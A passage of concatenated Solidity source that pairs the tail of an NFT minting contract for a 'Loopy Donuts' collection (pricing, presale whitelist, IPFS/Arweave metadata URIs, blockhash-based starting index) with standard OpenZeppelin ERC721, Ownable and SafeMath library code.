require(totalSupply() == MAX_TOKENS, "Not all Donuts are minted yet!");
locked = true;
}
/**
* @dev Set the starting index for the collection
*/
function setStartingIndex() public {
require(startingIndex == 0, "Starting index is already set.");
require(startingIndexBlock != 0, "Starting index block must be set.");
startingIndex = uint(blockhash(startingIndexBlock)) % MAX_TOKENS;
// Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)
if (block.number.sub(startingIndexBlock) > 255) {
startingIndex = uint(blockhash(block.number - 1)) % MAX_TOKENS;
}
// Prevent default sequence
if (startingIndex == 0) {
startingIndex = startingIndex.add(1);
}
}
/**
* @dev Set the starting index block for the collection, essentially unblocking
* setting starting index
*/
function manualSetStartingIndexBlock() public onlyOwner {
require(startingIndex == 0, "Starting index is already set.");
startingIndexBlock = block.number;
}
/**
* @dev Sets the prices for minting - in case of cataclysmic ETH price movements
*/
function setPrices(uint256 single, uint256 discount1, uint256 discount2) external onlyOwner notLocked {
require(single >= discount1 && discount1 >= discount2 && discount2 > 0, "Invalid prices.");
donutPrice = single;
discountPrice1 = discount1;
discountPrice2 = discount2;
}
/**
* @dev Sets the quantities that are eligible for discount.
*/
function setDiscountQunatities(uint256 qty1, uint256 qty2) external onlyOwner notLocked {
require( 0 < qty1 && qty1 <= qty2, "Invalid quantities.");
qtyDiscount1 = qty1;
qtyDiscount2 = qty2;
}
/**
* @dev Sets the IPFS Base URI for computing {tokenURI}.
* Ideally we will have already uploaded everything before deploying the contract.
* This method - along with {setArweaveBaseURI} - should only be called if we didn't
* complete uploading the images and metadata to IPFS and Arweave or if there is an unforseen error.
*/
function setIpfsBaseURI(string memory newURI) public onlyOwner notLocked {
IpfsBaseURI = newURI;
}
/**
* @dev Sets the Arweave Base URI for computing {arweaveTokenURI}.
*/
function setArweaveBaseURI(string memory newURI) public onlyOwner notLocked {
ArweaveBaseURI = newURI;
}
/**
* @dev Sets the Mystrey Donut's URI
*/
function setMysteryDonutURI(string memory mystery) public onlyOwner notLocked {
mysteryDonutURI = mystery;
}
/**
* @dev Sets the main metadata Storage baseUri.
*/
function setMainStorage(StorageType stype) public onlyOwner notLocked {
mainStorage = stype;
}
/**
* @dev Returns the URI to the token's metadata stored on Arweave
*/
function arweaveTokenURI(uint256 tokenId) public view returns (string memory) {
return getTokenURI(tokenId, StorageType.ARWEAVE);
}
/**
* @dev Returns the URI to the token's metadata stored on IPFS
*/
function ipfsTokenURI(uint256 tokenId) public view returns (string memory) {
return getTokenURI(tokenId, StorageType.IPFS);
}
/**
* @dev Returns the tokenURI if exists and using the default -
* aka main - metadata storage pointer specified by {mainStorage}.
* See {IERC721Metadata-tokenURI} for more details.
*/
function tokenURI(uint256 tokenId) public view virtual override(ERC721) returns (string memory) {
return getTokenURI(tokenId, mainStorage);
}
/**
* @dev Returns the URI to the token's metadata stored on either Arweave or IPFS.
* Takes into account the contracts' {startingIndex} which - alone - determines the allocation
* of Loopy Donuts - ensuring a fair and completely random distribution.
*/
function getTokenURI(uint256 tokenId, StorageType origin) public view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
if (startingIndex == 0) {
return mysteryDonutURI;
}
string memory base;
string memory sequenceId = ( (tokenId + startingIndex) % MAX_TOKENS ).toString();
if (origin == StorageType.IPFS) {
base = IpfsBaseURI;
} else {
base = ArweaveBaseURI;
}
// Deployer should make sure that the selected base has a trailing '/'
return bytes(base).length > 0 ? string( abi.encodePacked(base, sequenceId, ".json") ) : "";
}
/**
* @dev Returns the base URI. Overrides empty string returned by base class.
* Unused because we override {tokenURI}.
* Included for completeness-sake.
*/
function _baseURI() internal view override(ERC721) returns (string memory) {
if (mainStorage == StorageType.IPFS) {
return IpfsBaseURI;
} else {
return ArweaveBaseURI;
}
}
/**
* @dev Returns the base URI. Public facing method.
* Included for completeness-sake and folks that want just the base.
*/
function baseURI() public view returns (string memory) {
return _baseURI();
}
/**
* @dev Actual function that performs minting
*/
function _mintDonuts(uint numberOfTokens, address sender) internal {
for(uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_TOKENS) {
_safeMint(sender, mintIndex);
}
}
// If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after
// the end of pre-sale, set the starting index block
if (startingIndexBlock == 0 && (totalSupply() == MAX_TOKENS || block.timestamp >= REVEAL_TIMESTAMP)) {
startingIndexBlock = block.number;
}
}
/**
* @dev Mints Loopy Donuts
* Ether value sent must exactly match.
*/
function mintDonut(uint numberOfTokens) public payable {
require(saleIsActive, "Sale must be active to mint Donuts.");
require(numberOfTokens <= maxDonutPurchase, "Can only mint 20 donuts at a time.");
require(totalSupply().add(numberOfTokens) <= MAX_TOKENS, "Purchase would exceed max supply of Donuts.");
require(getPricePerUnit(numberOfTokens).mul(numberOfTokens) == msg.value, "Ether value sent is not correct.");
_mintDonuts(numberOfTokens, msg.sender);
}
/**
* @dev Mints Loopy Donuts during the presale.
* Ether value sent must exactly match -
* and only addresses in {Whitelist} are allowed to participate in the presale.
*/
function presaleMintDonut(uint numberOfTokens) public payable {
require(presaleIsActive, "Presale is not active.");
require(isSenderInWhitelist(), "Your address is not in the whitelist.");
require(numberOfTokens <= maxDonutPurchase, "Can only mint 20 donuts at a time.");
require(balanceOf(msg.sender).add(numberOfTokens) <= maxDonutPurchase, "Purchase would exceed presale limit of 20 Donuts per address.");
require(totalSupply().add(numberOfTokens) <= MAX_TOKENS, "Purchase would exceed max supply of Donuts.");
require(getPricePerUnit(numberOfTokens).mul(numberOfTokens) == msg.value, "Ether value sent is not correct.");
_mintDonuts(numberOfTokens, msg.sender);
}
/**
* @dev Gets the available pricing options [qty, pricePerUnit, ...]
*/
function getPricingOptions() public view returns (uint256[6] memory) {
uint256[6] memory arr = [1, donutPrice, qtyDiscount1, discountPrice1, qtyDiscount2, discountPrice2];
return arr;
}
/**
* @dev Get the price per unit based on number of donuts to mint
*/
function getPricePerUnit(uint numberOfTokens) public view returns (uint256) {
if (numberOfTokens >= qtyDiscount2) {
return discountPrice2;
} else if (numberOfTokens >= qtyDiscount1) {
return discountPrice1;
}
return donutPrice;
}
/**
* @dev Do not allow renouncing ownership
*/
function renounceOwnership() public override(Ownable) onlyOwner {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
